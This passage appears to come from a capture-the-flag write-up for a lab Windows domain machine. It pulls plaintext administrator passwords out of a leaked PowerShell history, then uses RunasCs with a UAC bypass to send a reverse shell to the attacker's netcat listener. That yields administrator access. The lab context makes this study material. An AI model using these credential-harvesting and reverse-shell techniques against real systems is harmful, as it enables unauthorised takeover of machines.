New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable`\nRegister-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"\r\ncd ..\\Documents\\\r\nnotepad restart.ps1\r\nexplorer .\r\ndir ..\\Desktop\\\r\nmove ..\\Desktop\\cleanup.ps1 .\r\ndir ..\\Desktop\\\r\ndir\r\nGet-NetConnectionProfile\r\nSet-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset\r\nSet-Service TermService -StartupType disabled\r\nexit\r\nGet-NetConnectionProfile\r\nnltest /dsgetdc:signed.htb\r\nwusa /uninstall /kb:5065428\r\niwr http://10.10.11.90:81/vmt.exe -O vmt.exe\r\niwr http://10.10.14.62:81/vmt.exe -O vmt.exe\r\n.\\vmt.exe\r\ndel .\\vmt.exe\r\nmanage-bde -off c:\\\r\ndisable-bitlocker -mountpoint c:\\\r\npowershell iwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2024/06/windows10.0-kb5039217-x64_bc72f4ed75c6dd7bf033b823f79533d5772769a3.msu -O update.msu\r\n.\\update.msu\r\ndel .\\update.msu\r\ndir\r\niwr https://catalog.s.download/windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\niwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\n.\\updates.exe.exe\r\n.\\updates.exe\r\nmove .\\updates.exe .\\updates.msu\r\n.\\updates.msu\r\ndel .\\updates.msu\r\n'
Ordering a little bit, this is how the machine is configured. A line that is interesting is:
<SNIP>
Register-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"
<SNIP>
Set-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset
<SNIP>
We get 2 potential passwords: Welcome1 and Th1s889Rabb!t.
We can upload RunasCs to the victim machine (that can be downloaded from its Github repository) and attempt to log in with these passwords, sending us a reverse shell as Administrator user:
C:\Windows\System32>C:\Windows\System32\spool\drivers\color\RunasCs.exe Administrator "Th1s889Rabb!t" cmd.exe -r 10.10.16.18:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-59720$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 4968 created in background.
And in our netcat listener we get a shell as Administrator user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.197.131] 57023
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
signed\administrator
~Happy Hacking.